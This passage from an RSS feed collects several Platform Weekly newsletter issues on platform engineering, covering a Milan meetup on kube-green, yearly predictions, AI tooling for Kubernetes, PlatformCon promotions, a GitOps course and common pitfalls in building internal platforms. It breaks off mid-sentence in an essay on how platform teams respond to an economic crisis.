more).\nIf you want to become a platform engineer, or are one already but want to be a master - or just show off to your boss then\u2026\nCome join me next week in the first platform engineering fundamentals course!\nQuick bites\n\u200dArticle of the week:\n\n\nWhy your Internal Developer Platform needs a backend\nFrom the community:\n\n\n4000 microservices, 8 million customers, 1 Internal Developer Platform - I am so excited for this webinar!]]>\n  \n  Fri, 16 Aug 2024 00:00:00 GMT\n\n\n  K8s, but make it green\n  https://platformweekly.com/issues/k8s-but-make-it-green\n  https://platformweekly.com/issues/k8s-but-make-it-green\n  \n  \nHey there,\nThe weekend is near\u2026\nLet\u2019s get bakin\u2019\nK8s, but make it green: Platform Engineering takes Milano\nLeonardo Romanato, Global Head of DevOps and Platform Services at YOOX NET-A-PORTER\nOn March 28th we had our first in-person Platform Engineering Meetup in Italy. \ud83c\uddee\ud83c\uddf9 ~30 platform engineering enthusiasts gathered together in Mia-Platform\u2019s Milano offices to dive into kube-green, GitOps setups, and how to build an Internal Developer Platform (IDP).\nHere are my highlights:\n\ud83e\udd50 Mia-Platform\u2019s Davide Bianchi presented his work on kube-green, an open-source K8s controller. It aims to reduce the carbon footprint of cloud-native applications.\nThe talk raised the community\u2019s awareness of how our choice of infrastructure management can help (or hurt) our environment, reduce CO2 emissions, and minimize the eco-footprint of K8s infrastructure.\nMy favorite part of the talk was the deep-dive on how choosing green energy over traditional energy, or simply shutting down some pods for the weekends, can cut costs and save energy. \ud83c\udf43\n\ud83e\udd50 Red Hat\u2019s Raffaele Spazzoli and Natale Vinto shared their best practices for building an IDP. They organized their design tips around four key pillars:\n\n\nOnboarding. This includes all the tasks a developer must do to get their team and application on the platform. First impressions matter, so make it count!\n\nCode time. A quick workstation setup and a fast and reliable inner loop improve both developer experience (DevEx) and productivity.\n\nBuild time. A comprehensive and reliable CI/CD process is one of the most important components of team productivity and application reliability.\n\nRun time. Teams need self-serviceable and observable infrastructure in order to be fully autonomous.\nThe Red Hat team also shared this handy GitOps bag of tricks:\nThe first in-person Italian Meetup was a great success! It demonstrates just how much platform engineering is taking off all around the world. \ud83d\ude80\nWant to get involved in the Platform Engineering community or host an in-person Meetup in your city? Shoot an email to giulia@platformengineering.org to get started. \ud83d\udce7\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 What\u2019s the difference between DevOps, SRE, and Platform Engineering? I dove in with Software Daily\u2019s Sean Falconer \ud83d\udc47\n\ud83e\udd50 Tabloid is a \u201cturing-complete programming language for writing programs in the style of clickbait news headlines.\u201d Useless but amusing. \ud83e\udd23\n\ud83e\udd50 Conducting user research for your platform? You\u2019ll want to take good notes. Check out these quick tips to boost your notetaking game.\n\ud83e\udd50 OpenAI scaled their K8s clusters to 7,500 nodes and shared what they learnedfrom the process with the community.\nLast but not least, have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are the highlights: \n\n\nWhy are Kubernetes upgrades so challenging?\n\nHow do I host backstage.io for a small team?\n\nWhat are the main KPIs you track for IDPs and tools?\n\nHow do you give developers access to deployed services in K8s?\nPOLL: Do you think AI tools like k8sgpt will become the future of software engineering?\nYes\nNo\nUnsure\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Wed, 12 Apr 2023 00:00:00 GMT\n\n\n  Platform engineering predictions for 2025\n  https://platformweekly.com/issues/platform-engineering-predictions-for-2025\n  https://platformweekly.com/issues/platform-engineering-predictions-for-2025\n  \n  \nHey there! Welcome to Platform Weekly. It\u2019s our final sip of platform engineering juice for the year. Thanks so much for joining us!\nThis year was insane for PW, we grew by more than 6x and it seems like there is almost no sign of stopping. It seems like 2025 will be no different. We\u2019ll be there. Every week covering news, best practices, learnings, and lessons from the world\u2019s largest platform engineering community.\nWhat\u2019s hot this week:\n\n\nReflections on 2024\n\nDon\u2019t miss the last few early bird PlatformCon LDN tickets!\n\nSpeak at PlatformCon?\npredictions for 2025\nIt\u2019s been fascinating to see the platform engineering space mature in 2024. From PlatformCon exploding in size to the first-ever platform engineering certification launch. It\u2019s been an awesome year.\nI am extremely fortunate to get the chance to see and work on dozens of platform engineering initiatives and talk to 100s and 100s of people. I also get to see the incredible amount of data that flows through the community.\nTaking all of that. These are three trends that I predict will have very interesting developments going into 2025.\n\n\nBackstage backlash: more and more enterprises are realizing that Backstage is NOT your platform (and is far from the easy platform win they think it is). It can be a nice UI-based interface to access your platform or visualize things. But you need some sort of platform API to orchestrate your infrastructure and workflows underneath them, and you can\u2019t underestimate the work it takes to set it up and use it properly.\n\nDevelopers will lose access to infrastructure: the industry is waking up to the fact that unrestricted access to cloud consoles or the ability to create infrastructure resources with one click via portals has led to inconsistencies and governance challenges. This often leads to a \"tragedy of the commons\" scenario where individual actions, though well-intentioned, negatively impact organizational efficiency. The top organizations have already made big changes in this area, and most others will follow.\n\nSuccessful platform engineering will go Pareto: We\u2019ve seen how good platforms that get adoption all tend to follow the 80/20 Pareto principle. They make sure they cover 80% of use cases and needs of developers. Importantly, they either have a net positive impact on the individual stakeholder groups (developers, I&O teams, security teams, architects, execs, etc.) or they are a net neutral. This is crucial to get broad buy-in for your platform engineering initiative from all groups. While the platform may not drastically enhance every individual stakeholder\u2019s experience, it should not detract from it. Successful platform teams will follow this principle.\nThere are a thousand other small things. Whether we\u2019re totally right, or wrong, and what surprises might come\u2026 well, we\u2019ll just have to stay tuned and find out together.\nSee you in 2025!]]>\n  \n  Sat, 25 Jan 2025 00:00:00 GMT\n\n\n  ChatGPT for platform engineering? \n  https://platformweekly.com/issues/chatgpt-for-platform-engineering\n  https://platformweekly.com/issues/chatgpt-for-platform-engineering\n  \n  \nHey there!\nCan AI be the bacon \ud83e\udd53 to your platform BLT \ud83e\udd6a?\nLet\u2019s get bakin\u2019\nChatGPT for platform engineering? \nChatGPT and other AI tools will be a game changer for debugging and troubleshooting infrastructure. The days of slogging through logs, Googling error messages, or perusing manuals for fixes will soon be behind us. ChatGPT will be able to do all of it for us. \nTake k8sgpt, for example. It advertises itself as a tool that diagnoses and triages your K8s clusters in simple English. While I doubt this tool will be able to replace real, human SRE expertise, it can still help teams save time and focus their efforts on more complex problems. \nI can already see a future where AI can fix problems in real time, reducing the need for engineers to be on-call. And who would complain about that? Or, perhaps engineers can talk to their platforms like a sci-fi captain talks to his mothership: \u201cRun me diagnostics.\u201d And then it\u2019s done. \nLet me be very clear: AI is not human, and it won\u2019t be anywhere near sentient for a long time. In the meantime, we can leverage machines to lift repetitive work and toil off our shoulders. ChatGPT isn\u2019t creative, it's just formulated solutions based on existing information it can find. It\u2019s impressive (and incredibly useful), but it isn\u2019t human. \nRegardless, the future of platform engineering is bright with AI. Imagine using human language to get AI to do the following:\n\n\nTemplates based on your requirements. No more looking for YAML online.\n\nTemplates based on another service.\n\nDiagnostics and statistics: \n\n\u201cHow many requests did we get from Canada in our Load Balancer?\u201d \n\n\u201cWhere is this DDoS attack likely coming from?\u201d\n\n\u201cGive me a full post-mortem of the issue that happened yesterday.\u201d\n\nPlatform Engineers configuring resources:\n\n\u201cGive me the configuration for a resource definition for an AWS bucket.\u201d Or \u201cCreate it for me\u201d\n\nRecommendations to upsize or downsize infrastructure based on traffic.\n\nCost recommendations for your cloud providers based on your usage.\nI\u2019m really excited about the potential for AI to boost platform engineering. But what are your thoughts? Let me know on Twitter @luca_cloud. \nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Does GPT-4 really understand what we\u2019re saying? \ud83e\udd14 According to David Krakauer, the answer is yes and no.\n\ud83e\udd50 Speaking of GPT-4, has anyone used it to review and refactor your code?\n\ud83e\udd50 Enabling true developer self-service requires more than just shifting left. \n\ud83e\udd50 \u201cYou build it, you run it\u201d doesn\u2019t scale. \u274c Thanks to the folks at PurePerformance for having me on the latest episode of the podcast.\n\ud83e\udd50 Another take on the DevOps vs. SRE vs. platform engineering debate \ud83d\udc47\nLast but not least, have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are the highlights: \n\n\nHas anyone ever built a developer user journey?\n\nCI/CD data should enter the software catalog. How does this apply to edge computing?\n\nSearching for a self-hosted or open source IaC/code-scanning platform\nLego is hiring a Sr. Engineer - API Gateway Platform. Check out more opportunities in our #jobs channel!Do you want to be a Trailblazer for PlatformCon? Read more here.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Mon, 03 Apr 2023 00:00:00 GMT\n\n\n  Why product thinking beats technical excellence\n  https://platformweekly.com/issues/why-product-thinking-beats-technical-excellence\n  https://platformweekly.com/issues/why-product-thinking-beats-technical-excellence\n  \n  \nPlatform engineering has never been hotter, or more fragile. PlatformCon was ablaze with that simultaneous \u201cthis will change everything\u201d to \u201cMy org is totally failing at this\u201d.\nI hear every week from teams who\u2019ve poured months (and millions) into beautiful Internal Developer Platforms (IDPs) full of automation, telemetry, and security tooling\u2026 only for developers to not use.\nThere is no more devastating and important problem in platform engineering than adoption. Ron Powell at CircleCI breaks it down perfectly in his community blog this week. \n\u201cYou can architect the most elegant platform in the world, but if developers don't use it consistently, you've built an expensive monument to engineering excellence that delivers zero business value.\u201d\n9/10 times, I\u2019m giving someone advice, whether on our courses or at an event. The advice is the same as Ron has so perfectly broken down in his article.\n\n\nThink like a product manager, not just an engineer\n\nOptimize for adoption, not just automation\n\nMeasure developer experience, not just system performance\nIt\u2019s easier said than done, but there are so many resources to getting you on that path. And if you want to succeed at platform engineering. There isn\u2019t time to wait.]]>\n  \n  Thu, 21 Aug 2025 00:00:00 GMT\n\n\n   The world\u2019s largest platform engineering conference needs you.\n  https://platformweekly.com/issues/the-worlds-largest-platform-engineering-conference-needs-you\n  https://platformweekly.com/issues/the-worlds-largest-platform-engineering-conference-needs-you\n  \n  \nThe PlatformCon 2026 Call for Proposals is officially open. We want to hear your voice.\nEvery month, almost 50,000 people watch recordings of PlatformCon content. Talks from 2022 receiving dozens of comments of discussion and debate every week.\nSome of the talks are\u2026 outdated. Some are incredibly prescient. But that\u2019s the nature of a conference at the frontier of a frontier industry. Every prediction can\u2019t be right when we are shaping our reality as we go.\nWe want you to be a part of that. 78% of views on talks from 2025 came from someone who submitted after clicking the link in Platform Weekly. Many of those people, when I talked to them after said, \u201cI had zero expectations you\u2019d accept my talk.\u201d But you reading this are exactly who we want to hear from! \nReal stories, real successes and real failures equals real learning. As platform engineering absorbs domains across all of IT. We need to learn from you FinOps experts, data experts, frontend platform experts, security, AI, observability and more.\nThe community needs you. So come and speak to us!]]>\n  \n  Mon, 26 Jan 2026 00:00:00 GMT\n\n\n  All aboard the platform engineering hype train \ud83d\ude86\n  https://platformweekly.com/issues/all-aboard-the-platform-engineering-hype-train\n  https://platformweekly.com/issues/all-aboard-the-platform-engineering-hype-train\n  \n  \nHello!\nAre you hyped for platform engineering? Gartner is \ud83d\udc47\nLet\u2019s get bakin\u2019 \ud83e\udd50\nAll aboard the platform engineering hype train\nIn Summer 2022, platform engineering made its debut on the Gartner Hype Cycles for Emerging Technologies and for Software Engineering\u2026 which means it\u2019s finally getting the spotlight it deserves.\n(If you\u2019ve subscribed to this newsletter, you\u2019re already ahead of the curve. How does it feel to have been part of the community before it was cool? \ud83d\ude0b)\nThe context is important, though. Platform engineering was introduced as a solution to improve the developer experience. Gartner outlined some of the key principles in A Software Engineering Leader\u2019s Guide to Improving Developer Experience:\n1. \u201cImprove developer experience by building internal developer platforms to reduce cognitive load, developer toil and repetitive manual work.\u201d\nReducing cognitive load was a major theme at PlatformCon. In the last years, badly done DevOps has overwhelmed the working memory capacity of developers across too many organizations. Fortunately, top performing organizations discovered that internal platforms can push their setup into the next stage of their DevOps evolution.\n2. \u201cPlatforms don\u2019t enforce a specific toolset or approach \u2013 it is about making it easy for developers to build and deliver software while not abstracting away useful and differentiated capabilities of the underlying core services.\u201d\nY\u2019all have to find the right level of abstraction and pave a golden path to facilitate it. I dive deeper into how to do this in this thread:\nTLDR; your platform should have a built in path of least resistance. You can do that in a code-based, declarative way or with UIs on top of your setup.\n3. \u201cPlatform engineering teams treat platforms as a product (used by developers) and design the platform to be consumed in a self-service manner.\u201d\nPlatform as a product is the way. Conduct user research, solicit regular user feedback, create a product map, and get internal buy-in for your platform, and you\u2019re basically guaranteed to succeed.\nAlternatively, you can become a mind reader and understand how to build a platform everyone wants. \u2026 See how that works for you and report back.\nI love seeing platform engineering getting the hype it deserves and for a lot of the principles we discussed at PlatformCon to make it into a report as big as Gartner\u2019s. And there\u2019s still so much more to come for the community, so stay tuned!\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Have you heard of Platform KPI trees before? Lambros Charissis explains what it is and why Platform Engineering KPIs matter.\n\ud83e\udd50 Has this \ud83d\udc47 ever crossed your mind? Insightful thread \ud83e\uddf5 by Alex Xu on Twitter!\n\ud83e\udd50 Choose your fighter: DevOps or SRE. Justin Garrison discussed this with Liz Fong-Jones and Emily Freeman on Twitter. You can also read the recap in Justin's blog.\n\ud83e\udd50 Some you have already compared your DevOps setup to the industry with our survey. But if you missed it, check out how you stack up against the competition.\n\ud83e\udd50 They say the last bite is the tastiest \ud83d\ude09\nThat wraps up #6. Got some useful nuggets from it? Then share it with your folks and spread the platform love \ud83c\udf89\nThis is a community-driven newsletter, so if you have anything \ud83d\udd25 to share from the cloud-native world, send it our way. You can submit your ideas here.\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  10 Platform engineering predictions for 2026\n  https://platformweekly.com/issues/10-platform-engineering-predictions-for-2026\n  https://platformweekly.com/issues/10-platform-engineering-predictions-for-2026\n  \n  \nIt\u2019s our last platform weekly of the year. In the last 52 weeks, over 100,000 of you have joined me every week to dissect our platform engineering world. I\u2019ve had the chance to read 1000+ emails from you, conversations with many, and debates with a few.\nAt the same time, we\u2019ve surveyed 518 for our State of Platform Engineering survey, 500+ more for the State of AI in Platform Engineering, and spoken to dozens of more about what they\u2019re working on for 2026, and what they\u2019re expecting.\nBased on all that - and the work I am doing myself. These are our predictions for 2026.\n\n\nAgentic infrastructure becomes standard architecture: AI agents will move from experiments to first-class platform users. Mature platforms will manage them like any other persona with RBAC, quotas, and governance. AI will autonomously run subsystems deploying, allocating resources, and evolving architecture from observed patterns. While the Platform teams will define \u201cagent golden paths\u201d that help agents learn and propose optimizations we can\u2019t even think of ourselves.\n\nPlatforms become the safety net for AI-generated code: The \u201cvibe coding\u201d era will make platforms responsible for reviewing and auto-remediating AI-generated code, particularly infrastructure code (Terraform, Kubernetes manifests), because non-deterministic outputs can introduce subtle production failures or security gaps that make the speed of vibe coding basically useless.\n\nSelf-healing evolves into self-architecture: The most advanced platforms will go far beyond auto-scaling to self-healing, AI-driven self-architecture, dynamically re-architecting systems to meet cost and latency targets without human intervention. We (humans) will start to shift from architects to strategists, defining objectives and constraints while AI proactively handles implementation.\n\nDevOps and MLOps converge into unified pipelines: Today, ML delivery is super fragmented with manual model handoffs, inference endpoints outside governance, and data science teams operating completely separately from platform engineering. By the end of 2026, mature platforms will unify app and model delivery into a single pipeline that serves devs, ML engineers, and data scientists (Likely through one shared experience).\n\nFinOps becomes a hard requirement: FinOps will shift from silos, and reactive dashboards to dedicated (preventive) platform controls, with things like pre-deployment cost gates that block services exceeding thresholds before they hit production, and AI-specific budgets for token and inference spend. \n\nThe platform gap becomes existential: Orgs that neglect platform capabilities will accumulate \u201corg debt\u201d far faster than they can repay it, combining tech & operational failures that hold them massively back. The result is imploding DevEx, slower delivery, top talent will flee, security gaps, and total failure with AI, making platform engineering investment essential to success.\n\nPlatform teams pivot to business value engineering: Teams will finally move beyond \u201cjust\u201d DORA, and measure and communicate ROI in business terms: revenue enabled, costs avoided, and profit center contribution. The best teams will  instrument revenue attribution, cost avoidance, and dev productivity in business terms.\n\nCompliance shifts to governance-by-default: No more shifting load onto devs and pretending its progress. Compliance will be enforced at the infrastructure layer, making non-compliant deployments technically impossible. Policy-as-Code, standardized service templates, and automatic security-control injection will become baseline requirements, espeeeeecially in regulated industries.\n\nRole specialization will accelerate: The \u201cplatform engineer\u201d role will splinter into clear specializations spanning platform leadership, product management, infrastructure, DevEx, security, observability, and AI-focused roles. Clearly reflecting platform engineering\u2019s expanding scope (and why it will increasingly shape how organizations build and run software in total).\n\nCertification and professionalization emerge: Industry-standard certifications and formal training programs will continue to emerge to define baseline competencies for platform builders, accelerating the professionalization of the field. Structured curricula like our certifications will validate expertise, raise team quality, and replace ad-hoc learning with recognized, standardized platform skills and best practice.\nMy biggest prediction of all\u2026 things we can\u2019t even begin to predict will happen and dominate everything. I can\u2019t wait to see it.\nWhat are your predictions? Any disagreements with mine? let me know!]]>\n  \n  Tue, 06 Jan 2026 00:00:00 GMT\n\n\n  The biggest week in platform engineering\n  https://platformweekly.com/issues/the-biggest-week-in-platform-engineering\n  https://platformweekly.com/issues/the-biggest-week-in-platform-engineering\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly thrust of the platform engineering sword. Every week, we dive into another area of the platform engineering universe, from news and community updates to best practices and lessons. But first,\n\n\nOver 800 students have taken our Intro to Platform Engineering course\n\nIdentifying vulnerabilities in public Kubernetes Helm charts\n\nPlatform engineering: A golden era for service providers\nThe biggest week in platform engineering\nWe\u2019re now less than 4 weeks away from PlatformCon 2025, the world\u2019s largest platform engineering event.\nIn terms of pure numbers, it\u2019s bigger than ever.\nWe\u2019re on track for 40,000 virtual attendees, 1000+ in-person, and more partners and speakers than ever. But the most important thing (as always) is the content.\nPlatformCon 2025 will have:\n\n\n75 hours of virtual talks from speakers like Gregor Hohpe, Patrick Debois, Nicki Watt, and hundreds of other platform engineering experts from leaders to practitioners\n\n80 hours of hands-on workshops covering everything from building your IDP with k0rdent and Backstage, to Hackathon starter packs & Terraform orchestration.\n\nSpeakers like Kelsey Hightower and Camille Fournier live in NYC, and Gregor Hohpe, and Nicki Watt in London. Plus a dozen other super inspiring platform engineering thinkers and leaders from across the industry.\nNot to mention the many amazing panels that have yet to be announced, and the first-ever PlatformCon x House of Kube official closing party.\nIf that wasn\u2019t enough I\u2019ll be at both events doing my two favourite things of all - talking to other platform nerds and teaching platform engineering! \nI\u2019m super excited to lead two in-person platform engineering trainings focused on Platform as a Product, and building and selling your Minimum Viable Platform.\nI better see you there!]]>\n  \n  Thu, 14 Aug 2025 00:00:00 GMT\n\n\n  Designing Your Internal Developer Platform\n  https://platformweekly.com/issues/designing-your-internal-developer-platform\n  https://platformweekly.com/issues/designing-your-internal-developer-platform\n  \n  \nHey there!\nThis week, Humanitec\u2019s Fernando Villalba shares 6 steps to designing your Internal Developer Platform. \ud83c\udfa8\ud83d\udd8c\ufe0f\nLet\u2019s get bakin\u2019\nDesigning your Internal Developer Platform\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 The folks at DevOps.com shared some strategies to consider when adopting platform engineering.\n\ud83e\udd50 What is the first step to successfully building your platform? According to Nvidia\u2019s Lee Ditiangkin, you have to start by building it together.\n\ud83e\udd50 Want to level up your DevOps setup? \ud83c\udf44 Check out the results of the 2023 DevOps Benchmarking Study to get key insights and best practices.\n\ud83e\udd50 If you haven\u2019t attended a platform engineering webinar yet, you\u2019re missing out! On March 28th we\u2019re chatting with Accenture\u2019s Mahesh Venkataraman and Rohit Patwardhan about how to integrate the three dimensions of quality into your platform engineering effort. Join us!\n\ud83e\udd50 \nLast but not least, have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are the highlights: \n\n\nTreat your platform as a product\u2014developer support\n\nHow to build out a job spec and learning path for a platform engineer\n\nTerraform drivers as a backend to enable infra self-service?\nAlso:\n\n\n\ud83c\uddee\ud83c\uddf3 and \ud83c\uddee\ud83c\uddf9 community members organized local meetups in Bangalore and Milan. Don\u2019t have a group in your area and want to host? Shoot me an email, and we\u2019ll help get you set up.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Wed, 22 Mar 2023 00:00:00 GMT\n\n\n  GitOps is the glue for your Platform!\n  https://platformweekly.com/issues/gitops-is-the-glue-for-your-platform\n  https://platformweekly.com/issues/gitops-is-the-glue-for-your-platform\n  \n  \nGitOps has quietly become the backbone of modern platform engineering.According to the State of Platform Engineering (Vol. 4), 56.5% of platform teams now rank GitOps as a top-four capability, right next to CI/CD, Infrastructure as Code, and Kubernetes itself.\nAnd yet\u2026 most training still treats GitOps like a developer convenience tool.\nThis course doesn\u2019t.\nThis is GitOps as the orchestration layer platform teams actually build and operate.\nGitOps at scale (aka: your clusters are not pets)\nIf you\u2019re planning to go big, really big, and not just manage a handful of clusters you still remember by name, then you need to understand GitOps at scale.\nLess shepherd with a stick.\n\u200d\nMore fleet commander with god mode enabled.\nYou\u2019ll learn how large enterprises design cluster topologies to manage thousands of locations across different regions, data centers, and clouds, without turning operations into chaos.\nLess watching. More doing.\nThe best part?You don\u2019t just watch slides.\nYou fork the repo and work with an enterprise-ready setup, based on the general distro of kubara.io, a framework from platform engineers, for platform engineers, going open source very soon (March).\nNo wheel reinvention.Just adapt it, run it, and move on with life.\nScaling is hard. Tool soup is harder.\nScaling has limits. Choosing the wrong topology means you\u2019ll end up with a random pile of tools and hope it works.\nAnd sure, it might work.A lot of my hobby projects still work too.\nBut hobby projects don\u2019t get security audits.Your platform will.\nPlatforms are not just tools.They are people, culture, and adoption.\nGitOps adoption takes time.\nIt hurts.\nYour developers might cry at first.\nBut later, they\u2019ll cry tears of joy when they realize their best disaster recovery plan is a GitOps setup that keeps everything reconciled, while you\u2019re in the Bahamas, drinking a Cuba Libre and swimming with pigs.\n(This is Peter. Not me.)\nReal talk: does this actually work?\nYes. Last project.\nWe managed:\n\n\n30 clusters\n\n300 VMs\n\n20+ projects\n\nhybrid setups across multiple data centers and public clouds\nWith 2.5 engineers.\nOnboarding a new project?Under 30 minutes.Compliant. Budgeted. Integrated.\nSo yeah\u2026 I do know what a Cuba Libre tastes like. Maybe.\nWhat\u2019s in the course?\nModule highlights:\n\n\nFoundations & principlesGitOps as a contract between humans and agents, not just \u201cCI/CD with Git\u201d\n\nArchitecture & patternsMulti-cluster topologies, progressive delivery, and avoiding classic anti-patterns\n\nTooling deep diveHands-on with Argo CD, Flux CD, and Sveltos, including a platform catalog for self-service\n\nEnterprise scalingManaging 1,000+ clusters, trying to scale to 15,000 clusters, policy-as-code, and solving config sprawl\n\nAI integrationGitOps for AI platforms and AI workloads\n\nCultural adoptionStakeholder buy-in, shared language, and iteration based on feedback\nPlus an exclusive interview with Alexis Richardson, founder of RabbitMQ, CEO at ConfigHub, and the person who coined the term GitOps in 2017.No vendor fluff. Just history and real-world perspective.\nThe best part?\nThe course is FREE.\nWell\u2026 not exactly free.You invest time. That\u2019s it.\nWho am I?\nArtem Lajko.Course instructor.Head of Platform Engineering at iits.Author of Implementing GitOps with Kubernetes.A few years of building GitOps platforms across different industries.\nIf you\u2019re curious about GitOps at scale,want to chat, learn how a Cuba Libre tastes,get a free signed book,or maybe even win a Steam Deck. Come say hi at KubeCon EU in Amsterdam! 24\u201326 March | Booth #495 (iits)]]>\n  \n  Wed, 25 Feb 2026 00:00:00 GMT\n\n\n  Is this the end?\n  https://platformweekly.com/issues/is-this-the-end\n  https://platformweekly.com/issues/is-this-the-end\n  \n  \nHey there! Welcome to Platform Weekly. This week we\u2019re closing off the world\u2019s largest platform engineering conference, PlatformCon 2024.\nIs this the end?\nThis week has been insane. We kicked off PlatformCon announcing the first-ever official platform engineering course and the response has been crazy so far.\nWe then dived into a vortex of platform engineering awesomeness with huge highlights like workshop, Live Day in London and watch parties all over the world... and we are now going LIVE for a full day of platform engineering panels, with some of the biggest names in the industry.\nIt will be a full day of in-depth conversations with leading platform engineering experts (Nicki Watt from OpenCredo, Ajay Chankramath from Thoughtworks, James Brookbank from Google, just to name a few!).\nIf you\u2019ve been one of the tens of thousands of people who have joined PlatformCon. I just want to say a huge thank you.\nLet\u2019s close this one off with one last insane platform engineering hurrah!\nLet\u2019s get platform engineering\ud83d\ude80\nQuick bites\nArticles of the week:\n\n\nPlatformCon: How Spotify Manages Infrastructure with GitOps\nFrom the community:\n\n\nThe Platform Engineering Slack is getting crazy with PlatformCon fever. Come join!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  Platform pitfalls you should avoid\n  https://platformweekly.com/issues/platform-pitfalls-you-should-avoid\n  https://platformweekly.com/issues/platform-pitfalls-you-should-avoid\n  \n  \nHey there! This is Platform Weekly, the gnarliest wave in the platform engineering ocean. \ud83c\udfc4\ud83e\udd1f\nThis week\u2019s issue is one you won\u2019t want to miss. Bryan Finster of DevOps Dojo fame is weighing in on the top platform pitfalls you should avoid. Check it out and share the platform \u2665\ufe0f with your friends! \nLet\u2019s get bakin\u2019\nAvoiding common platform pitfalls\nBryan Finster, Value Stream Architect at Defense Unicorns\nPlatform engineering has become a hot topic in the industry recently. However, it\u2019s not a new practice. Doing it correctly seems to be the main sticking point. The problems that occur are common and generally come down to one problem, lack of user-centric focus. Comparing notes with many other organizations, these are some of the most common pitfalls I\u2019ve seen. \nPlatform as a Mandate\nA central tools team is formed to decide what tools the developers will use. The tools are bought or built, and management mandates that everyone uses them. Little or no thought is given to discovering the problems that development teams face daily, and the tools team\u2019s primary focus is on operations, not customer service. The result is hostile customers and a platform that either improves nothing or degrades productivity. It doesn\u2019t even matter if the new tools are better. The lack of empathy and engagement with the people doing the work means that even better tools will be used to re-implement bad patterns. The workflow of the development teams has been disrupted, an adversarial relationship has been created, and delivery suffers. \nIf we need to use a mandate to increase adoption, we\u2019ve done a poor job of solving the right problems and/or helping our customers understand how the new tools can be used to make their lives easier.  \nPlatform as a Service Ticket\nWe\u2019ve created a platform, but to use it requires teams to open a ticket, wait in a queue, and have someone outside the team do the work of configuring it. Growing the number of people using the platform will require growing the number of people supporting it. The worst outcome for the platform is that more people use it, and the platform effort is crushed by operational overhead. Worse, the onboarding process can impact application architecture. \u201cWe want to use an event-based microservice architecture to enable auto-scaling for peak capacity, but it takes two weeks to create a pipeline\u2026\u201d\nIt\u2019s not a useful platform if it\u2019s not self-service. That should be a baseline requirement to improve both user experience and keep operational costs down. \n\u201cWe built this great thing. Why won\u2019t people use it?\u201d \nWhat incentive do they have to change? Is it solving their problems better than what they have? Is it solving a real problem at all? Does it make it easier for them to meet security and compliance requirements? How heavy is the lift for them to adopt your new solution? What support are you providing to help them? Did we only build it because it would be \u201ccool?\u201d We should start with the adoption plan before we start implementation. Who can we partner with to help first? What are our plans for identifying and prioritizing the problems we are solving? What incentives can we introduce to encourage adoption? How about marketing, training, workshops, etc? We need to be user-centric and not assume we know what\u2019s needed. We should focus on the problems that impose delivery drag, not solutions that are splashy but don\u2019t relieve daily pain. \nFocus on the Customer\nAvoiding these and other pitfalls is easy, we should treat internal users the way we would want to be treated, with empathy and respect. We talk to them, understand their problems, and help make it easier to do their work. Platforms should be built with the same empathy and mindset we would use for building great products for external customers. It\u2019s even easier to deliver great experiences to internal users because user feedback and collaboration are so much easier. All that\u2019s required is to establish that collaborative relationship and leverage their feedback. I had a conversation about platform development with someone from Exxon several years ago. He said, \u201cIt seems the top developers tend to end up in our platform area because they can be closer to their customers.\u201d I know that\u2019s true for me. If that doesn\u2019t resonate with you, there may be a problem.\n\u200d\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 ICYMI: Kubiya launched the first generative AI for platform engineering at KubeCon 2023.\n\ud83e\udd50 Does platform engineering make software sustainable? \ud83c\udf43\n\ud83e\udd50 DevOps ain\u2019t dead\u2026 but we\u2019ve gotta talk.\n\ud83e\udd50 Here\u2019s why Python will eventually die.\nLast but not least, have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are some highlights:\n\n\nMetrics are always a relevant topic. This time, Roni is asking: How should I be thinking about what metrics to look for when it comes to test automation for improving DevEx?\n\nWant to benchmark toolsets and technologies?\n\nFlux vs ArgoCD: What GitOps platform do you use?\n\nHow\u2019s the platform engineering job market faring? Some folks in the community are trying to find out.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 11 May 2023 00:00:00 GMT\n\n\n  How should platform teams respond to crisis? \u26a0\ufe0f\n  https://platformweekly.com/issues/how-should-platform-teams-respond-to-crisis\n  https://platformweekly.com/issues/how-should-platform-teams-respond-to-crisis\n  \n  \nIn my work, I have the opportunity to connect with clients all around the world. This has given me some telling insights about how companies are planning to react to the upcoming economic crisis. Here are some of my thoughts.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nHow should platform teams respond to crisis? \u26a0\ufe0f\nAn economic crisis is looming ahead. But not all regions of the world have been hit the same way. (Some haven\u2019t been hit yet at all.)\nWhile I saw European engineering managers afraid of lay-offs in January, American teams are just starting to be more careful.\nThe more interesting question, to me at least, is how the situation for platform teams will change if faced with crisis. How will C-Level reacting to the dark clouds? Will they reduce budgets? Cut jobs? Where are they investing, if at all?\nI've observed two key strategic approaches: blind fear and cautionary responsibility. The former can irreversibly destroy the culture and productivity of an engineering team forever. The latter can actually improve both substantially. Winning teams are formed in times of crisis.\nExplaining the blind fear approach is intuitive: at the sign of crisis, managers just start freezing everything and, in the worst cases, start firing employees. They halt investment in improving productivity and workflows. These teams need a motivating message: \"we need to unite and beat this crisis together.\" But this call for unified strength never comes.\nTeams that take this approach are doomed to fail. It\u2019s been proven that teams at the top quartile of developer velocity outperform other orgs 4-5X in 